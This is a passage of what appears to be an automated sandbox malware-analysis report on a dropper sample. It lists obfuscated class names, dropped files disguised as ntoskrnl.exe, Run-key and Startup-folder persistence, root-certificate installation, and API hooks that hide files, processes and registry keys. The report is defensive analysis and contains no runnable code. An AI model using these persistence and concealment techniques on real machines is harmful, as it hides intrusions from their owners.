Source: 0.2.RdLfpZY5A9.exe.1294ef08.2.raw.unpack, WbZaHv4xuPSeZw2uAq4Js.cs	High entropy of concatenated method names: 'p1ZObOBDiiCdmpAHuZPCz', 'uKfwK6UHGlWnwlTxMuyZu', 'hTgbJvszj5Fn2Yyw4coaY', 'tEyVsPFLaQbs1Ms4fJWS2', 'LxcIxEh3wO4tfR6EFFwO7z97nFh4SjXFXVTYrnSSm1z1FiiWLY0c9yLV1WJZJDTiCQoO5jTAw3A293s81', 'Q7uLhPFA9x07ddwqXDvd9rqN2YsJqMOpj0NXCWUE0s6Bs7E3K2Eui4PN2a0uXX22DQuaV3AP2F43oPYwA', '_4OR978IwofAET9FeEwdugcsmibi1f3keYmqdsfnGQcQ93wtF4rS4QeySF930AiCg74qm3G77HPRLXWZEe', 'OnxXct0BLVJNUY42bfm3BlHNEzzVYn6W2V3GhtRhzP5LcciACAZEw75Iias6hEcYaq1gOAgxbmSdq1TVh', 'vfPucQzH31Aaj7pIXhk7iaCn3K9a5CctLzj39d2o7QgCsyIJ4WAe4i00U09H9DicnPzoeege2jtXVCYFC', '_8Bf9eZZmohMkIkrERgdVHYTqUPFJwRUUyPkaZMi84VgqQnNImGK58edVhnpkppTmI7oRV1FJVUXvSJtCz'
Source: 0.2.RdLfpZY5A9.exe.1294ef08.2.raw.unpack, gbSyzXQhgHNZmmbfmM8GltxWX51PeZR1IbpV.cs	High entropy of concatenated method names: '_0Tn8eiUBotyOjBtK4ys8Uf813ry6LjWuikS0', 'C8ADOhQ3KeBvCXnKAjGv6J3XM7TCpsX4tVM2lsThPwpStVfgUL06JOfrYHd0wA5', 'PsdvIju2ypJ9PqqIWRqI9KvAnEXBoZmjOnRut1tXv2U4GnESElS3ewxafh4B1Di', '_3eYv3dv27en6o2hRGw5Nnr60o09PnZdx3R0p2DzYRlLZrEX6pr5ENSPxVNOv1ik', 'BCVkibtgWDAggWeWvVrNeQzByt9mUF3s46FIvB9nfQkeB5Dd9dzFXC4NcIdq4Pz'
Source: ntoskrnl.exe.3.dr, An0DSGyo344mWvaOGRrvwB3xPQTerGsbqj4hWP87gE2xj6Xf861To.cs	High entropy of concatenated method names: 'vHFFmttLONVktUsWUA3AJGFdJWwH3LXW3xXjpw21bBBfogjdXwixL', 'pDig5htp97pCUFbUOWgCFQEhPPMCswUZeqO0OvckzS0LVMk2IbATt', '_3zX6h0rbxTkLHYQL5aUcLZHZ7UzQhII1RWwOwCq7kahd95MljO1Y8', 'qWQJ4sEDsHWDMdrXMBkWJJMAR2ZJYuHYUXWKncElQ', 'gq4Qkyfs4qJPW0ELlZ3kPt15qUZ0cxiBsFeAPeQI5', 'RFBbtf7HwHMb6tA0XzPhNh0zTs2JPusWSKjbkqzCH', 'Ggm60FFRlbFETKfaMX2uqzTwCAlOOfzdpr80PQzQt', 'SfbFF1YXwOThpiQCsrqLkaZcTWr8qgkCV0BH53CKx', 'o54yd07s4Ybrh2mMTQmPy9G13JW9ciIrO77zM8H2u', 'pnE5wwk6209HgsLniyDfSldBWArhFkd7jbxxWqdyQ'
Source: ntoskrnl.exe.3.dr, g59OujVBB7MZJrqDCW5gf5pEZBK5CRLNy2qq.cs	High entropy of concatenated method names: 'Udog1cHZ1AZJdMqeZsOj2t0bHbbfTPyLXdZe', 'TTYQ8X2ipUHHOkpu8pFoVFvSsdMubt5OxO8w', 'HT2IJGVpP7zoCQKtrmw3udmHXeOWC8OpeL8N', 'M9quXEQLDHFgQdGrsqwRWJUMnoQCKJWjSr19mi7k424vOIRs8Fm0VrYwzEFpRaL', '_1R6sIwUFYAWIMc0rzfxjghWNfbNjvLbVc8IJBPCINsJKoQXG1mhyq3NKOhHPeSr', 'rDsj1OqcOyybEuCLD2FFi2BigjKCDFhW9PjBvEGOqBEnsU9SFadJtQkG7xaHR7X', 'qIJHJB3QXPOXWlGDcFiDAmtKitBmvx9A5fUf7AI0uqYmSXmbBJoJerF6poK7WhD', 'GHUFd804U76ooo0qpMgfZJtEwg6rVUVsmOdRDm6D4eJcy5wWm2iRwOzKSeaZU2v', 'HnLd5xAdbGZEMuhGUGFFabByTNuTI0ppEXue9G35Rm7RfXZT', 'Wbg4wkSPngGqJ8xephornvch2JT70vBDY2ex0FEFCEq8NqbS'
Source: ntoskrnl.exe.3.dr, B9E2fnMLcC12guuhzPwoS77zgW1ZgEiELCEEKaw2Klq5.cs	High entropy of concatenated method names: 'nvIwktLoxcNX1Yoqnf7SQGBzq9bmI6sAxpElhIxlHTTf', 'WAB40fyGIXFhlujIcnNSF6ImInBnekudbmbqIGmAsaQw', 'kZ8CdUlCp9uvwjQ3Qbw7TWFHyuInWi0dQnSIix6anlMJaie9o45d4PFFYcqaBFiqYovX8AZKjN8V', 'RKBr7RPx5MBcrYIh4IgNXmAPocRcxQIkES4vegZIf1KcSH7FtVgMm7LCGj2zT2NxkMkCki6Wu42g', '_2r1fsEY49aYbWGhzoGwNPvx1xQHfdn8rwpgaNoXz0Tuwx8n9y3w3rfGvPwPBcoQOVdGokzb2Yyq3', 's5g5xnN65pkcCGULZ4wfhDYsp3th2DWLXvhEsmb3JX3mt5g4QxSEY0anSxtvAHY62UNFQHi0BqM7', '_4OPzvYsw9YIZjEk0ugcA2t02sl6ai564i56NGeOWtgK3Xtr8qAwUFsInykU1M6qA3oGUuKoAzkN0', 'IbOlDrDw4uKuYEJJ7oENUTQVkFnyEAdK2E0nTN4HJMXZvdnUqL6A7xGIi5ecKEQ5qrimIPMJJsmC', 'E1CYunwxKQKpCDj7UCg7Iop0sQjq8FSZVg8O0lpyuUDw8tgLwTI5T6Ubs3ehtnKDgbDsnsr7nIlr', 'COf9r32smfr6yi32UMkNpnw81JfdBdmdEcHppRVvIgTUxLItsohhP6bWoT7cTmmGPTaO3XuntYsy'
Source: ntoskrnl.exe.3.dr, fBE1wflwwjJOP1BboN3oP.cs	High entropy of concatenated method names: 'YD0QCSyqPyrsjswITvyc0', 'F4ZGWRWk4BZtS1nHIrJoM', 'JV1vJlWqNGKTYu462VICF', 'Tsa3qapValzJx3jV7kJRC', 'PSDL1hLudsVOQbbVaV1Ou', '_5UkLRybGfm6953NTMwCch', 'iSkYSAOPrdhrNkZZh8yhq', 'XQ40cR7S4gZaA89F6Dlrf', 'SRFpPA3NOPbiTTzozqFUt', '_2rM7AGNhDvP80KL8aaGC5'
Source: ntoskrnl.exe.3.dr, B6YyM3tn1GEMGxan0OhtCDItEFzdSbGF8hoT7DwPUwJukMpi4blkW7U7thwug6Kz0xrZfVtuOok9.cs	High entropy of concatenated method names: 'Y6S3kL36Hhi6Szxbaj5z8VUc7sfdv7uyv94sqgvyBeGZELv8NjXahMovEPMValZLRFmzxkbA5RYb', 'XMskKsZQ9xFCDyWv1SHyit5MgjJ9eXAPgl7rq9zocjRtYNs7ZTqJBnKwpZYk3Tjg7rv8gsTdiSz6', 'IuE5JWtWX7HFtcdEkmeLXOGSGvEac8otBZ8VrB7hcFItnfZyvxNUwrGatrgiV', 'J2dXMjGxtzHtGu95nwioA8GXiUZzxw9IVzHT6uy7a6wVG2Dv8y9nILQKtkvTH', '_5KTvCTOAK8L5ko8fjIS43bGsdndlEbKw5kbl98Nb1lZnB4duTz0K1I2LlX7sB', 'UeEZcneYsNnSeeAIZo1ffRvkfTugfxvXkoNUmaSKo7U7ifDU6066uKRT3r5h8', 'X5WDd7gjKzGrWNWDILbOkkcP8yF5HqxbM9XV4N2uuH2ZQkytMncHp8s8xMM05', '_9TqFNy41v0GiP4F1cETXtPtqFnfoEYCpQyaaD7SJ9TOVInQp5VgICBRYDRZrM', 'HQuHRHRNRfM6PqMn65cZcAsVxDrWU96TV7WGulbL7V1W4ipHP3qgvZ9igMx7t', 'rjP5LEPeLfi3iwoWJZhMhMHVIq2WMWMypmKPM64aivEKzGy5C7GgI3y3N3vPR'
Source: ntoskrnl.exe.3.dr, n2VU5KGecv5aHTrU9Mb0Y.cs	High entropy of concatenated method names: 'tQTtE8TgSIaIHHMv1vHgk', 'poMSvK625dXjX4DLt1GoPxkDF4gmzUj1m2gXBXLja1YnsNXg2aGONjOlYMWJPU94pfzARuv5uUboODqA9', 'VkyPJkFmps3stXrDTV3HiuHEKbmdyK0Sdd02RIUBO8CnlaFkj2g41fkUgvR2Xr8IXfL3FBnNbsbpCSwQy', 'gTQLiUl5jHM6EM5h4OLGsbKAgcYt5k7y7EyfgXCpoOwwdGCnQJ5eqPF9ubElDaVgeC7sXmlQGvGaYlBA5', '_2pr1umXGVGVA4sjOu8o81mXfEsHV8SfL326eNWGWUpTQrDHtiE9LROmr75Xj46jyM4Y8A1BTekoVBhGCG'
Source: ntoskrnl.exe.3.dr, iRivwccr5pOuk6KKkp3t6eiIuTgZTwKJ8CfW.cs	High entropy of concatenated method names: '_2cm4dcpEA29Z6snowz1i3MloVubUZygEkOvk', 'hjsXV3YkekSdVTRTKUgBkabyxqXUtATdRbAg', 'WEz5LK16Y9RN2LoTju2Vf2AvCuxMuijFZ8YJ', 'sjBFheflFg6hfHtLrQaGsQqQcSl9ASPJAW2K', 'Ek7zboftpByzlUVnF7y27HEcj9nQalRUglxd', 'mqrsPQD1SKmKewROMjcFcnJyOxgaUA5KLfD2', 'iJJyJXC3nry792reNxn1j', 'xzF7fJAqbsXP9Fxbb3FO6', 'Qc0feZTjFDxANHPoAdAwf', 'Da7RH067eSxE5WmxXlO3a'
Source: ntoskrnl.exe.3.dr, ajIsSiZ8AS1co09CghkkWvl6HPbkrUc8slzdbVDZhhdhgQNmeDruBDHdY3QTrEzPCoaUNp9BALGv4SFjurU81RTN5uY6xN.cs	High entropy of concatenated method names: 'bZELyPv3sja3iEp6tfftvGVG1y3nZhWPyb4Yrb1ZrUWizO4DUyMVnkotU2D8KPtY645dXWVnGMgLOLlZ6VxKpNMAyewggN', 'ShBTJDYV4jRo7REWRW7Cr1jYv6C5FA7f2OU1EMoMQMNXmaxVLJoZvNOhSNYTOw3LCpoBLUvIGoswxzbB2QF4wbF77nAr7u', 'tdkTdJfS3CUjbu0zLiwC0OS0E2inThepfOryywwLmCKe6tVR5MtPJnk3lILmsCBcccyVPtD5SnoxRVyb89Ls0cvzS88htN', 'yhlg7wWe2xBtm0uQU4gO0padLD4ICYPpCGSKC2E0mqps610BIgpa3IqJRmwuF2zhCXFYDguhvqwlCcBLBI4N3UhMuqoFI3', '_9IbWxPrVmeYs17G1W7t9s5KsZohJc8RouvBX991UbIMDkl2cwdC2PnNBfJqBk0KmCiR5GdIHDXVhRdDCnpMYnOienu6VeO', '_8SXDO5zQtqSdvrNA62QJFzFSUpPW53hMpgMj1OgTIQfZmLQLgn0GGrrlyDxT5AVtuJE4sYTk0UZU2jsa7Fynpm6e6F17EX', 'mb359UbXwCtCUiRSgJSuNvZ8imfLN3qpjfOUsebZqacEQsV9owqeyAj6go0CZcHjBBbWtRiCLfzKB1lSIz8CzjuG6ZcwvR', 'sasNNjZ3RAo1mY0lB5QmByitrq1TFWRqxLV5', 'UI6Mvbuu37198ktvpls3iZmWuR4MY8VKuvvZ', '_9NrUYW2N1UCvJFwXVkljmqrPmK0PyGZU8xAh'
Source: ntoskrnl.exe.3.dr, WbZaHv4xuPSeZw2uAq4Js.cs	High entropy of concatenated method names: 'p1ZObOBDiiCdmpAHuZPCz', 'uKfwK6UHGlWnwlTxMuyZu', 'hTgbJvszj5Fn2Yyw4coaY', 'tEyVsPFLaQbs1Ms4fJWS2', 'LxcIxEh3wO4tfR6EFFwO7z97nFh4SjXFXVTYrnSSm1z1FiiWLY0c9yLV1WJZJDTiCQoO5jTAw3A293s81', 'Q7uLhPFA9x07ddwqXDvd9rqN2YsJqMOpj0NXCWUE0s6Bs7E3K2Eui4PN2a0uXX22DQuaV3AP2F43oPYwA', '_4OR978IwofAET9FeEwdugcsmibi1f3keYmqdsfnGQcQ93wtF4rS4QeySF930AiCg74qm3G77HPRLXWZEe', 'OnxXct0BLVJNUY42bfm3BlHNEzzVYn6W2V3GhtRhzP5LcciACAZEw75Iias6hEcYaq1gOAgxbmSdq1TVh', 'vfPucQzH31Aaj7pIXhk7iaCn3K9a5CctLzj39d2o7QgCsyIJ4WAe4i00U09H9DicnPzoeege2jtXVCYFC', '_8Bf9eZZmohMkIkrERgdVHYTqUPFJwRUUyPkaZMi84VgqQnNImGK58edVhnpkppTmI7oRV1FJVUXvSJtCz'
Source: ntoskrnl.exe.3.dr, gbSyzXQhgHNZmmbfmM8GltxWX51PeZR1IbpV.cs	High entropy of concatenated method names: '_0Tn8eiUBotyOjBtK4ys8Uf813ry6LjWuikS0', 'C8ADOhQ3KeBvCXnKAjGv6J3XM7TCpsX4tVM2lsThPwpStVfgUL06JOfrYHd0wA5', 'PsdvIju2ypJ9PqqIWRqI9KvAnEXBoZmjOnRut1tXv2U4GnESElS3ewxafh4B1Di', '_3eYv3dv27en6o2hRGw5Nnr60o09PnZdx3R0p2DzYRlLZrEX6pr5ENSPxVNOv1ik', 'BCVkibtgWDAggWeWvVrNeQzByt9mUF3s46FIvB9nfQkeB5Dd9dzFXC4NcIdq4Pz'

Persistence and Installation Behavior

Creates files in the system32 config directory

Source: C:\Windows\System32\lsass.exe

File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D

Installs new ROOT certificates

Source: C:\Windows\System32\lsass.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob
Source: C:\Windows\System32\lsass.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob

Source: C:\ProgramData\KrnlSetupSus.exe	File created: C:\ProgramData\ntoskrnl.exe	Jump to dropped file
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	File created: C:\ProgramData\KrnlSetupSus.exe	Jump to dropped file
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	File created: C:\ProgramData\Install.exe	Jump to dropped file

Source: C:\ProgramData\KrnlSetupSus.exe	File created: C:\ProgramData\ntoskrnl.exe	Jump to dropped file
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	File created: C:\ProgramData\KrnlSetupSus.exe	Jump to dropped file
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	File created: C:\ProgramData\Install.exe	Jump to dropped file

Source: C:\ProgramData\KrnlSetupSus.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ntoskrnl.lnk

Source: C:\ProgramData\KrnlSetupSus.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ntoskrnl.lnk

Hooks files or directories query functions (used to hide files and directories)

Source: C:\ProgramData\KrnlSetupSus.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ntoskrnl			Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ntoskrnl			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: NtQueryDirectoryFile

Hooks processes query functions (used to hide processes)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: NtQuerySystemInformation

Hooks registry keys query functions (used to hide registry keys)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: ZwEnumerateValueKey

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Modifies the prolog of user mode functions (user mode inline hooks)

Source: explorer.exe

User mode code has changed: module: ntdll.dll function: ZwEnumerateKey new code: 0xE9 0x9C 0xC3 0x32 0x2C 0xCF

Source: C:\ProgramData\Install.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE $77stager

Check if machine is in data center or colocation facility

Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
